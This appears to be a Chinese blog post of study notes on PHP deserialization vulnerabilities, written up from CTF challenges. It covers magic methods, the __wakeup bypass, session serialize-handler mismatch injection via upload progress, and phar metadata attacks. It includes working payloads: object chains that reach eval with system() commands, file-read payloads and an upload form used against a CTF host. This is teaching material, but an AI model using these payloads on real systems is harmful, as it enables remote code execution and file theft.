php反序列化笔记
- 普通的魔法方法
- public,private,protected属性序列化后的不同
- 绕过wakeup
- session反序列化
- phar反序列化
1.普通的魔法方法
__construct()
创建一个新的对象的时候会调用,不过unserialize()时不会被调用
__destruct()
对象销毁的时候被调用
__sleep()
函数serialize()调用的时候首先检查有没有这个函数,如果有则调用。这个函数的作用是删减需要进行序列化操作的的成员属性。
<?php
class test{
public $a="123";
public $b="456";
public function __sleep(){
return ['b'];
}
}
$test=new test();
echo serialize($test);
?>
//输出:O:4:"test":1:{s:1:"b";s:3:"456";}
//__sleep()只返回了成员$b,所以相当于删除了$a,$a不会进行序列互操作
__wakeup()
函数unserialize()被调用时检查有没有这个函数,有的话先执行。可以用来修改某个变量的值。
<?php
class test{
public $a="123";
public function __wakeup(){
$this->a="aaaaaaaaaaa";
}
}
$test=new test();
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));
?>
//输出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
//因为__wakeup()修改了$a的值
__toString
一个对象值不能直接echo 输出的,可以用var_dump()。但是如果定义好__toString()的方法,就可以直接echo了
<?php
class test{
public $a="aaa";
public $b="bbb";
public $c="ccc";
public function __toString(){
return $this->a."-".$this->b."-".$this->c;
}
}
$test=new test();
echo $test;
?>
//输出 aaa-bbb-ccc
2.public,private,protected属性序列化后的不同
<?php
class test{
public $a="aaa";
private $b="bbb";
protected $c="ccc";
}
$test=new test();
echo serialize($test);
?>
浏览器上直接输出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}
如果查看源代码,看来应该存在不可打印字符
输出一下十六进制
这里的十六进制00是字符串和十六进制相互转化的,注意和十进制转换区分开
public的序列化看起来是最正常的
private的序列化: \00test(test是类名)\00b(b是成员名)
protected的序列化:\00*\00c(c是成员名)
这就是提示在反序列化的时候要注意\00
3.绕过wakeup
直接拿例题来说
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
首先明确我们要读取flag.php
问题出在倒数三四行,接收get传递的参数先base64解码,然后进行反序列化
先来看看这个__destruct()方法,为了题目的靶机目录安全用strchr函数限制了\ /,不让你任意读取文件,不过没事,我们只需要读flag.php即可
现在我们们构造poc,把$file属性的index.php改为flag.php
poc
<?php
class SoFun{
protected $file='flag.php';
}
$test=new SoFun();
$str=serialize($test);
echo $str;
echo "<br>";
echo base64_encode($str);
?>
//输出
//O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} \00不可打印,但自己要记住
//Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
我们传入
?file=Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
发现仍然显示index.php,我们忽略了__wakeup()函数。
对 O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} 反序列化的时候,会先执行__wakeup(),这个函数在题目中是强行把$file的值变为index.php,所有无论我们传入什么$file的值永远是index.php
绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行
O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}
O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}
将1改为2,然后base64编码。
echo base64_encode('O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}');
还是不行,经过查资料:
<?php
echo strlen("\00");
echo strlen('\00');
?>
//第一个输出1,第二个输出3
php中单引号对\00的处理是把它变为三个字符,这也就是为什么我们会失败的原因,\00实际上是ascii的0代表的字符,它是一个字符。用单引号把poc包含起来,所以\00失效了。
<?php
echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\00*\00file\";s:8:\"flag.php\";}");
//用双引号括起来,并且把里面的双引号用\转义,不然双引号匹配出错
//输出Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
?>
?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
成功读取flag
也存在另一种方法,
<?php
echo base64_encode('O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}');
?>
//输出Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
注意到这里有一个大写的S,这里S表明\00是转义过后的字符,代表的是ascii的0,所以,即使base编码的时候单引号也可以
参考:
https://nobb.site/2016/09/13/0x22/
http://www.neatstudio.com/show-161-1.shtml
假设这道题目不进行base64编码:
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=$_GET['file']; //唯一变化的地方
echo unserialize($file);
}
?> #<!--key in flag.php-->
直接get传参数的话\00是没有办法传进去的,让服务器知道你要传递的是ascii为0的字符,就得进行url编码,浏览器会自己解码然后传给服务器,所以是%00
还有一个重要的事情,要注意php的版本,自己搜吧,我给忘了哪个版本了
4.session反序列化
session.auto_start:不用你再去自己开启session_start()了
session.save_handler:保存的session的值的形式,一般是文件
session.save_path:保存文件的目录,我这里是win下边的phpstudy搭建的
session.serialize handler:有三种,默认的是php
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['value'] = 'aaaaa';
?>
访问这段代码,然后在C:\softeware\phpstudy\PHPTutorial\tmp\tmp
目录,找到了sess_3ikqhdmr9jt0beid60d76u5g73这个文件,查看自己的session_id(F12看cookie):3ikqhdmr9jt0beid60d76u5g73,说明了session文件的命名规则:sess_(session_id)
查看文件内容value|s:5:"aaaaa";
,value是键,|(竖线) 后边的是值
ini_set('session.serialize_handler','php');
改为ini_set('session.serialize_handler','php_serialize');
,再次访问,值得注意的是,版本高点才会有php_serialize这种方式
查看文件a:1:{s:5:"value";s:5:"aaaaa";}
另一个不看了,自己看去吧
问题类型一:
session.auto_start=Off
php里面默认的序列化方式是php,但是自己有时候会指定别的方式,比如php_serialize,这个时候因为序列化和反序列化的方式不同导致问题
foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = $_GET['ryat'];
?>
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}?>
访问
foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
然后访问foo2.php发现执行了 echo "hi";
1.第一步访问foo1.php过后,tmp目录下文件内容
payload其实就是foo2.php里面的类实例化后再序列化,但是前边要加一个|(竖线)
注意文件里面 竖线左边是键,右边是值(因为foo2.php里面反序列化的方式是php)
所以当我们访问foo2.php的时候,要读取再foo1.php里面的设置的session值并且进行反序列化,所有竖线右边的就被反序列化成了一个对象
问题类型二:
题目①:
php.ini的配置
session.serialize_handler: php_serialize 默认的php反序列化方式与指定的不同)
session.upload_progress.cleanup :Off
session.upload_progress.enabled :On
session.auto_start :Off
源代码实际有三个文件,phpinfo.php实际上是告诉你了配置信息
index.php
<?php
ini_set('session.serialize_handler', 'php');
//服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
根据问题类型一的思路,我们已经知道了有两个不同的反序列化处理方式,我们应该是先在有ini_set('session.serialize_handler', 'php_serialize');
的地方写入 |(竖线)加上构造好的payload,让它写入session文件,然后我们访问index.php(反序列化方式为php)读取session文件实例化对象执行代码。可现在是,没有找到ini_set('session.serialize_handler', 'php_serialize')
,并且最重要的是没有找到unserialize()我们能够控制输入的地方。
这里实际上用到了另外一个思路:session.upload_progress.enabled :On
上传一个文件,php会把这次上传文件的信息保存到session文件里面,文件的信息是我们可以控制的,所以通过这个把payload写入session文件,然后访问index.php(php处理器来反序列化session文件),原理和 问题一 是一样的。
payload:
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
//new一个foo2的对象
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
//new一个foo3的对象
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr="system('whoami');";
//要执行的东西
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
$test=new foo1();
echo serialize($test);
//输出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system('whoami');";}}}
//还有执行了whoami的命令:desktop-2akj5ip\whoami_root
这是foo1的析构函数
?>
来看一下这个上传文件保存的session是啥样的。
html表单,我们要进行抓包,然后修改具体的值
<form action="http://127.0.0.1/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
#这里index.php和phpinfo.php都可以,存在session_start()就可以,因为我们需要的是php_seralize这个默认方式来序列化数据,不过我这里传到index.php发现并没有生成session文件,phpinfo.php却可以,再说再说。
抓包,可以利用的地方是表单value的值和文件名字,这两处选一出就可以。
还有这个cookie,一定要和你访问的cookie对应起来,因为写入读取session文件都直接和你的cookie的值有关系。
传上构造的payload,文件名字和内容记得胡乱写一下。可以看到,payload也写进去了,现在就可以用php(三种方式之一,竖线为分隔符)来反序列化了。这个时候访问index.php(ini_set('session.serialize_handler', 'php'))就可以了。
题目②:jarvis-phpinfo
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
get传参可以执行phpinfo(),然后观察phpinfo的内容。
发现php.ini的设置
session.auto_start | Off | Off |
---|---|---|
session.upload_progress.enabled | On | On |
session.serialize_handler | php | php_serialize |
session.upload_progress.cleanup | Off | Off |
发现符合我们利用的条件,先构造poc:
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'system("ls");';
}
function __destruct()
{
eval($this->mdzz);
}
}
echo serialize(new OowoO());
?>
构造的上传文件表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
#上传的时候序列化的方式是默认方式php_serialize
上传的时候注意cookie一定要是一样的哟。
发现没有反应,本地复现成功,就想会不会是禁用了函数或者权限比较低,可以思考一下,这里和有没有回显是没有关系的哟。
不过有几个函数:
print_r (),scandir(),var_dump(),glob(),file_get_contents(),rename(),unlink(),rmdir(),fwirte(),fopen()
可以试一下(我想往里面写一个小马的时候才发现重命名,删除文件,写文件的函数不行,但是assert却是可以的)
poc改为$this->mdzz = "print_r(scandir('./'));";
先来看下当前目录有啥东西:
发现不是当前目录,搞来搞去,发现.(dot)没法用,所以只好用绝对目录,看了下phpinfo.php,发现文件在/opt/lampp/htdocs/下边,构造$this->mdzz = "print_r(scandir('/opt/lampp/htdocs/'));";
直接访问flag文件是空白的,根据这个名字可能是故意不想让你看到,所以利用file_get_contents()来读文件
$this->mdzz = "print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";
5.phar反序列化
phar以我自己的理解就是,将常用的文件打的一个包,然后需要这些文件的时候直接include这个phar包,直接从包里调用文件或者里面的函数,相比起直接包含.php文件更方便。
看一下phar的格式
stub:
格式是xxx,可以把这个理解为文件头格式,php通过这个格式才能知道这是phar文件,xxx的地方是随意的
a manifest describing the contents:
被打包进来的文件的属性,权限等内容会被反序列化后存储在meta-data(用户自己设置)
the file contents:
被打包进来的文件的内容
signature:
对文件的签名,在文件的结尾
我们先来看一下怎么打包生成phar
首先php.ini里面的phar.readonly => On要改为Off,这样才可以创生成phar
在test目录下有两个文件
test.php
<?php
class a{
public function a(){
echo "我是a的构造函数";
}
}
?>
phar.php
<?php
//new一个phar对象
$phar = new Phar('test.phar');
//把当前目录下的东西都打包
$phar->buildFromDirectory(__DIR__);
//setStub是必须设置的,这里设置了一个最简单的
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//生成test.phar文件
$phar->stopBuffering();
?>
test目录下多了一个test.phar,放winhex里面看一下:
利用phar包
test目录下新建1.php
<?php
require_once "test.phar";
require_once "phar://test.phar/test.php";
new a();
//输出 '我是a的构造函数'
?>
访问发现确实引用了test.php。
漏洞利用点
我们上边的过程没有用到
a manifest describing the contents:
被打包进来的文件的属性,权限等内容会被反序列化后存储在meta-data(用户自己设置)
看新的代码
phar.php
<?php
class a{
public $test="test";
function __wakeup(){
echo "我被反序列化了";
}
}
//new一个phar对象
$phar = new Phar('test.phar');
//把当前目录下的东西都打包
$phar->buildFromDirectory(__DIR__);
//setStub是必须设置的,这里设置了一个最简单的
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//****************************
//自己定义的metadata,会序列化写入test.phar
$phar->setMetadata(new a());
//****************************
//生成test.phar文件
$phar->stopBuffering();
?>
具体phar的方法可以看 https://www.php.net/manual/zh/class.phar.php
查看内容,发现,果然序列化后存入了test.phar文件里面
漏洞在于,当某些系统函数去操作phar协议控制的文件时候,metadata里的东西会反序列化。
在test目录下便随便新建文件,然后访问。
<?php
class a{
public $test="test";
function __wakeup(){
echo "我被反序列化了";
}
}
require_once "test.phar";
//file_put_contents(phar://phar/test.php);
?>
//访问后输出 '我被反序列化了',证明存储在metadata里面的数据被反序列化了
图片直接复制连接过来的 https://paper.seebug.org/680/
发现require,require_once,include,include_once
也是可以的,又偶然在 https://blog.zsxsoft.com/post/38 看到,与文件有关的函数都是可以的。
php反序列化笔记的更多相关文章
- WebAPI调用笔记 ASP.NET CORE 学习之自定义异常处理 MySQL数据库查询优化建议 .NET操作XML文件之泛型集合的序列化与反序列化 Asp.Net Core 轻松学-多线程之Task快速上手 Asp.Net Core 轻松学-多线程之Task(补充)
WebAPI调用笔记 前言 即时通信项目中初次调用OA接口遇到了一些问题,因为本人从业后几乎一直做CS端项目,一个简单的WebAPI调用居然浪费了不少时间,特此记录. 接口描述 首先说明一下,基于 ...
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- C#序列化与反序列化学习笔记
本笔记摘抄自:https://www.cnblogs.com/maitian-lf/p/3670570.html,记录一下学习过程以备后续查用. 序列化是把一个内存中的对象的信息转化成一个可以持久化保 ...
- GSON使用笔记(3) -- 如何反序列化出List
GSON使用笔记(3) -- 如何反序列化出List 时间 2014-06-26 17:57:06 CSDN博客原文 http://blog.csdn.net/zxhoo/article/deta ...
- .net学习笔记--序列化与反序列化
序列化其实就是将一个对象的所有相关的数据保存为一个二进制文件(注意:是一个对象) 而且与这个对象相关的所有类型都必须是可序列化的所以要在相关类中加上 [Serializable]特性 对象类型包括:对 ...
- c#中对json数据的序列化和反序列化(笔记)
今天遇到在后台中要获取json格式数据里的某些值,网上查了些资料: string jsonstr = _vCustomerService.LoadCustomerbyNumTotalData(quer ...
- Java基础知识强化之IO流笔记65:序列化流 和 反序列化流
1. 什么是 序列化 和 反序列化 ? 序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程.比如转化为二进制.xml.json等的过程. 在序列化期间,对 ...
- Java学习笔记——IO操作之对象序列化及反序列化
对象序列化的概念 对象序列化使得一个程序可以把一个完整的对象写到一个字节流里面:其逆过程则是从一个字节流里面读出一个事先存储在里面的完整的对象,称为对象的反序列化. 将一个对象保存到永久存储设备上称为 ...
- Java学习笔记——序列化和反序列化
寒雨连江夜入吴,平明送客楚山孤. 洛阳亲友如相问,一片冰心在玉壶. --芙蓉楼送辛渐 持久化数据的第一种方式.在序列化之前也可以把数据打散逐行存储在文件中,然后在逐行读取. 比如定Student类 用 ...
随机推荐
- 感兴趣的WebGL ,来自微博的一个全景星空图~
https://m.weibo.cn/z/panorama?oid=1042143:ee51daffe7e7f497069af8c74840bbc2 还有一些好玩的相关链接 http://webgls ...
- [JZOJ4307]喝喝喝--枚举
[JZOJ4307]喝喝喝--枚举 题目链接 自行搜索 分析 我们需要找到所有不包含\((a_x,a_y),a_x \equiv k \mod a_y (x<y)\)这样的连续数对,转化一下变成 ...
- SQL连接(join)
INNER JOIN:如果表中有至少一个匹配,则返回行 LEFT JOIN:即使右表中没有匹配,也从左表返回所有的行 RIGHT JOIN:即使左表中没有匹配,也从右表返回所有的行 FULL JOIN ...
- CentOS开机启动进度条卡死问题
centos为例 一, 如下: 如果这个地方卡住了的话也许是你上次改了passwd文件,这个是其中一个情况. 如果刚刚开机就卡住了或者怎么卡住了的话在开机的读条时候摁esc显示读取的进程,根据显示的错 ...
- redis系列二: linux下安装redis
下面介绍在Linux环境下,Redis的安装与配置 一. 安装 1.首先上官网下载Redis 压缩包,地址:http://redis.io/download 下载稳定版3.0即可. 2.通过远程管理工 ...
- Phoenix安装批次提交插入更新语句
1 贴一下官方的代码 https://phoenix.apache.org/tuning_guide.html try (Connection conn = DriverManager.getConn ...
- sudo身份切换
sudo更改身份: 我们知道,使用 su 命令可以让普通用户切换到 root 身份去执行某些特权命令,但存在一些问题,比如说:仅仅为了一个特权操作就直接赋予普通用户控制系统的完整权限: 当多人使用同一 ...
- SQLite3学习笔记(3)
SQLite 表达式 表达式是一个或多个值.运算符和计算值的 SQL函数的组合. SQL表达式与公式类似,都写在查询语言中.您还可以使用特定的数据集来查询数据库. SELECT语句的基本语法如下: S ...
- 6.caffe:create_txt.sh(数据预处理成txt文本文件)
#!/usr/bin/env sh DATA=/home/wp/CAFFE/caffe-master/myself/00b MY=/home/wp/CAFFE/caffe-master/myself/ ...
- 用代理服务加快brew下载速度。方法:curl
加快brew更新速度的方式:用代理 参考: https://www.zhihu.com/question/31360766常用的ss客户端都自带PAC模式的,比如ShadowsocksX-NG. 再次 ...